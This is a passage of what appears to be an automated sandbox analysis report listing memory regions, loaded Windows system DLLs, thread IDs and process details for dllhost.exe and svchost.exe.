= 0 entry_point = 0x7ffa1315ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 965 start_va = 0x7ffa13320000 end_va = 0x7ffa13389fff monitored = 0 entry_point = 0x7ffa13356d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 966 start_va = 0x7ffa13390000 end_va = 0x7ffa133d2fff monitored = 0 entry_point = 0x7ffa133a4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 967 start_va = 0x7ffa133e0000 end_va = 0x7ffa13465fff monitored = 0 entry_point = 0x7ffa133ed8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 968 start_va = 0x7ffa13520000 end_va = 0x7ffa13b63fff monitored = 0 entry_point = 0x7ffa136e64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 969 start_va = 0x7ffa13b70000 end_va = 0x7ffa13cb2fff monitored = 0 entry_point = 0x7ffa13b98210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 970 start_va = 0x7ffa13cc0000 end_va = 0x7ffa13d5cfff monitored = 0 entry_point = 0x7ffa13cc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 971 start_va = 0x7ffa13d60000 end_va = 0x7ffa13d67fff monitored = 0 entry_point = 0x7ffa13d61ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 972 start_va = 0x7ffa13d80000 end_va = 0x7ffa13ed5fff monitored = 0 entry_point = 0x7ffa13d8a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 973 start_va = 0x7ffa13ee0000 end_va = 0x7ffa14065fff monitored = 0 entry_point = 0x7ffa13f2ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 974 start_va = 0x7ffa14070000 end_va = 0x7ffa140cafff monitored = 0 entry_point = 0x7ffa140838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 975 start_va = 0x7ffa14220000 end_va = 0x7ffa142c6fff monitored = 0 entry_point = 0x7ffa1422b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 976 start_va = 0x7ffa14340000 end_va = 0x7ffa145bcfff monitored = 0 entry_point = 0x7ffa14414970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 977 start_va = 0x7ffa145c0000 end_va = 0x7ffa146dbfff monitored = 0 entry_point = 0x7ffa146002b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 978 start_va = 0x7ffa146e0000 end_va = 0x7ffa1474afff monitored = 0 entry_point = 0x7ffa146f90c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 979 start_va = 0x7ffa147c0000 end_va = 0x7ffa14880fff monitored = 0 entry_point = 0x7ffa147e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 980 start_va = 0x7ffa14ba0000 end_va = 0x7ffa14bf1fff monitored = 0 entry_point = 0x7ffa14baf530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 981 start_va = 0x7ffa14c00000 end_va = 0x7ffa15028fff monitored = 0 entry_point = 0x7ffa14c28740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 982 start_va = 0x7ffa15030000 end_va = 0x7ffa1508bfff monitored = 0 entry_point = 0x7ffa1504b720 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 983 start_va = 0x7ffa15090000 end_va = 0x7ffa15136fff monitored = 0 entry_point = 0x7ffa150a58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 984 start_va = 0x7ffa15160000 end_va = 0x7ffa1520cfff monitored = 0 entry_point = 0x7ffa151781a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 985 start_va = 0x7ffa15210000 end_va = 0x7ffa1676efff monitored = 0 entry_point = 0x7ffa153711f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 986 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 988 start_va = 0x6b00000 end_va = 0x6bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006b00000" filename = "" Region: id = 989 start_va = 0x6e00000 end_va = 0x6efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006e00000" filename = "" Region: id = 990 start_va = 0x7000000 end_va = 0x70fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007000000" filename = "" Region: id = 991 start_va = 0x7100000 end_va = 0x71fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007100000" filename = "" Region: id = 992 start_va = 0x7200000 end_va = 0x72fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007200000" filename = "" Region: id = 993 start_va = 0x7400000 end_va = 0x74fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007400000" filename = "" Region: id = 995 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1048 start_va = 0x7500000 end_va = 0x75fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007500000" filename = "" Region: id = 1049 start_va = 0x7600000 end_va = 0x76fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007600000" filename = "" Region: id = 1050 start_va = 0x420000 end_va = 0x421fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1051 start_va = 0x430000 end_va = 0x431fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1052 start_va = 0x5e0000 end_va = 0x5e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 1362 start_va = 0x7700000 end_va = 0x77fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007700000" filename = "" Region: id = 1363 start_va = 0x7800000 end_va = 0x78fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007800000" filename = "" Region: id = 1364 start_va = 0x7900000 end_va = 0x79fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007900000" filename = "" Region: id = 1365 start_va = 0x7a00000 end_va = 0x7afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007a00000" filename = "" Region: id = 1366 start_va = 0x420000 end_va = 0x421fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1367 start_va = 0x430000 end_va = 0x431fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1368 start_va = 0xd40000 end_va = 0xd60fff monitored = 0 entry_point = 0xd42300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1369 start_va = 0xd70000 end_va = 0xd82fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sppc.dll.mui" filename = "\\Windows\\System32\\en-US\\sppc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sppc.dll.mui") Region: id = 1370 start_va = 0xd40000 end_va = 0xd60fff monitored = 0 entry_point = 0xd42300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1371 start_va = 0xd70000 end_va = 0xd82fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sppc.dll.mui" filename = "\\Windows\\System32\\en-US\\sppc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sppc.dll.mui") Region: id = 1372 start_va = 0xd40000 end_va = 0xd60fff monitored = 0 entry_point = 0xd42300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1373 start_va = 0xd70000 end_va = 0xd82fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sppc.dll.mui" filename = "\\Windows\\System32\\en-US\\sppc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sppc.dll.mui") Region: id = 1374 start_va = 0x420000 end_va = 0x421fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1376 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1378 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1379 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Thread: id = 18 os_tid = 0x1224 Thread: id = 19 os_tid = 0x440 Thread: id = 20 os_tid = 0x308 Thread: id = 21 os_tid = 0xbd0 Thread: id = 22 os_tid = 0xb34 Thread: id = 23 os_tid = 0xaa4 Thread: id = 24 os_tid = 0x778 Thread: id = 25 os_tid = 0x784 Thread: id = 26 os_tid = 0x5c4 Thread: id = 27 os_tid = 0x41c Thread: id = 28 os_tid = 0xaa0 Thread: id = 29 os_tid = 0x870 Thread: id = 30 os_tid = 0x9d4 Thread: id = 31 os_tid = 0x810 Thread: id = 32 os_tid = 0x954 Thread: id = 33 os_tid = 0x5b4 Thread: id = 34 os_tid = 0x564 Thread: id = 35 os_tid = 0x4fc Thread: id = 36 os_tid = 0x4cc Thread: id = 37 os_tid = 0x4ac Thread: id = 38 os_tid = 0x2f8 Thread: id = 39 os_tid = 0x2d4 Thread: id = 40 os_tid = 0x628 Thread: id = 41 os_tid = 0x674 Thread: id = 42 os_tid = 0x5d4 Thread: id = 43 os_tid = 0x1e0 Thread: id = 44 os_tid = 0xbc4 Thread: id = 45 os_tid = 0xa78 Thread: id = 46 os_tid = 0x958 Thread: id = 47 os_tid = 0x830 Thread: id = 48 os_tid = 0x79c Thread: id = 49 os_tid = 0xaac Thread: id = 50 os_tid = 0xad8 Thread: id = 51 os_tid = 0xa04 Thread: id = 52 os_tid = 0xad0 Thread: id = 53 os_tid = 0xa50 Thread: id = 54 os_tid = 0x5ec Thread: id = 55 os_tid = 0x780 Thread: id = 56 os_tid = 0x5ac Thread: id = 57 os_tid = 0x728 Thread: id = 58 os_tid = 0x5e0 Thread: id = 59 os_tid = 0x508 Thread: id = 60 os_tid = 0x428 Thread: id = 61 os_tid = 0x4f8 Thread: id = 62 os_tid = 0x7e4 Thread: id = 63 os_tid = 0x7e0 Thread: id = 64 os_tid = 0x7dc Thread: id = 65 os_tid = 0x7d8 Thread: id = 66 os_tid = 0x7cc Thread: id = 67 os_tid = 0x7c4 Thread: id = 68 os_tid = 0x7b0 Thread: id = 69 os_tid = 0x788 Thread: id = 70 os_tid = 0x744 Thread: id = 71 os_tid = 0x448 Thread: id = 72 os_tid = 0x6f8 Thread: id = 73 os_tid = 0x6d4 Thread: id = 74 os_tid = 0x648 Thread: id = 75 os_tid = 0x640 Thread: id = 76 os_tid = 0x62c Thread: id = 77 os_tid = 0x534 Thread: id = 78 os_tid = 0x530 Thread: id = 79 os_tid = 0x4a8 Thread: id = 80 os_tid = 0x2ac Thread: id = 81 os_tid = 0x270 Thread: id = 82 os_tid = 0x154 Thread: id = 83 os_tid = 0x1b8 Thread: id = 84 os_tid = 0x1bc Thread: id = 85 os_tid = 0x180 Thread: id = 86 os_tid = 0x188 Thread: id = 87 os_tid = 0x148 Thread: id = 88 os_tid = 0x12c Thread: id = 89 os_tid = 0xfc Thread: id = 90 os_tid = 0x60 Thread: id = 91 os_tid = 0x3f0 Thread: id = 92 os_tid = 0x3e8 Thread: id = 93 os_tid = 0x3cc Thread: id = 94 os_tid = 0x364 Thread: id = 95 os_tid = 0x1248 Thread: id = 96 os_tid = 0x124c Thread: id = 97 os_tid = 0x1250 Thread: id = 98 os_tid = 0x1254 Thread: id = 99 os_tid = 0x1258 Thread: id = 100 os_tid = 0x125c Thread: id = 110 os_tid = 0x1280 Thread: id = 111 os_tid = 0x1284 Thread: id = 140 os_tid = 0x12d8 Thread: id = 141 os_tid = 0x12dc Thread: id = 142 os_tid = 0x12e0 Thread: id = 143 os_tid = 0x12e4 Process: id = "3" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x6facb000" os_pid = "0x1228" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x274" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{7006698D-2974-4091-A424-85DD0B909E23}" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 996 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 997 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 998 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 999 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1000 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1001 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 1002 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 1003 start_va = 0x180000 end_va = 0x186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1004 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1005 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1006 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1007 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1008 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1009 start_va = 0x520000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 1010 start_va = 0x620000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 1011 start_va = 0x720000 end_va = 0x8a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 1012 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 1013 start_va = 0x8f0000 end_va = 0xa70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 1014 start_va = 0xa80000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 1015 start_va = 0x1e80000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 1016 start_va = 0x1f80000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 1017 start_va = 0x2080000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 1018 start_va = 0x2180000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 1019 start_va = 0x2410000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 1020 start_va = 0x2420000 end_va = 0x251ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 1021 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1022 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 1023 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 1024 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 1025 start_va = 0x7ff721340000 end_va = 0x7ff721346fff monitored = 0 entry_point = 0x7ff721341570 region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe") Region: id = 1026 start_va = 0x7ff9fc3a0000 end_va = 0x7ff9fc3defff monitored = 0 entry_point = 0x7ff9fc3c3320 region_type = mapped_file name = "flightsettings.dll" filename = "\\Windows\\System32\\FlightSettings.dll" (normalized: "c:\\windows\\system32\\flightsettings.dll") Region: id = 1027 start_va = 0x7ffa10cc0000 end_va = 0x7ffa11152fff monitored = 0 entry_point = 0x7ffa10ccf760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1028 start_va = 0x7ffa11710000 end_va = 0x7ffa117a5fff monitored = 0 entry_point = 0x7ffa11735570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1029 start_va = 0x7ffa12db0000 end_va = 0x7ffa12dbffff monitored = 0 entry_point = 0x7ffa12db56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1030 start_va = 0x7ffa12e10000 end_va = 0x7ffa12e1efff monitored = 0 entry_point = 0x7ffa12e13210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1031 start_va = 0x7ffa12f40000 end_va = 0x7ffa13106fff monitored = 0 entry_point = 0x7ffa12f9db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1032 start_va = 0x7ffa13130000 end_va = 0x7ffa13317fff monitored = 0 entry_point = 0x7ffa1315ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1033 start_va = 0x7ffa13320000 end_va = 0x7ffa13389fff monitored = 0 entry_point = 0x7ffa13356d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1034 start_va = 0x7ffa13cc0000 end_va = 0x7ffa13d5cfff monitored = 0 entry_point = 0x7ffa13cc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1035 start_va = 0x7ffa13d80000 end_va = 0x7ffa13ed5fff monitored = 0 entry_point = 0x7ffa13d8a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1036 start_va = 0x7ffa13ee0000 end_va = 0x7ffa14065fff monitored = 0 entry_point = 0x7ffa13f2ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1037 start_va = 0x7ffa14070000 end_va = 0x7ffa140cafff monitored = 0 entry_point = 0x7ffa140838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1038 start_va = 0x7ffa141e0000 end_va = 0x7ffa1421afff monitored = 0 entry_point = 0x7ffa141e12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1039 start_va = 0x7ffa14220000 end_va = 0x7ffa142c6fff monitored = 0 entry_point = 0x7ffa1422b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1040 start_va = 0x7ffa14340000 end_va = 0x7ffa145bcfff monitored = 0 entry_point = 0x7ffa14414970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1041 start_va = 0x7ffa145c0000 end_va = 0x7ffa146dbfff monitored = 0 entry_point = 0x7ffa146002b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1042 start_va = 0x7ffa147c0000 end_va = 0x7ffa14880fff monitored = 0 entry_point = 0x7ffa147e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1043 start_va = 0x7ffa14ba0000 end_va = 0x7ffa14bf1fff monitored = 0 entry_point = 0x7ffa14baf530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1044 start_va = 0x7ffa15160000 end_va = 0x7ffa1520cfff monitored = 0 entry_point = 0x7ffa151781a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1045 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1046 start_va = 0x2280000 end_va = 0x235ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1047 start_va = 0x2520000 end_va = 0x261ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Thread: id = 101 os_tid = 0x1274 Thread: id = 102 os_tid = 0x1270 Thread: id = 103 os_tid = 0x126c Thread: id = 104 os_tid = 0x1268 Thread: id = 105 os_tid = 0x1264 Thread: id = 106 os_tid = 0x1260 Thread: id = 107 os_tid = 0x1230 Thread: id = 108 os_tid = 0x122c Thread: id = 109 os_tid = 0x1278 Process: id = "4" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x510bc000" os_pid = "0x390" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x214" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xa], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\vmictimesync" [0xa], "NT SERVICE\\Wcmsvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c87e" [0xc000000f], "LOCAL" [0x7] Region: id = 1223 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1224 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 1225 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1226 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1227 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1228 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1229 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1230 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1231 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1232 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1233 start_va = 0x1e0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1234 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1235 start_va = 0x400000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1236 start_va = 0x480000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = 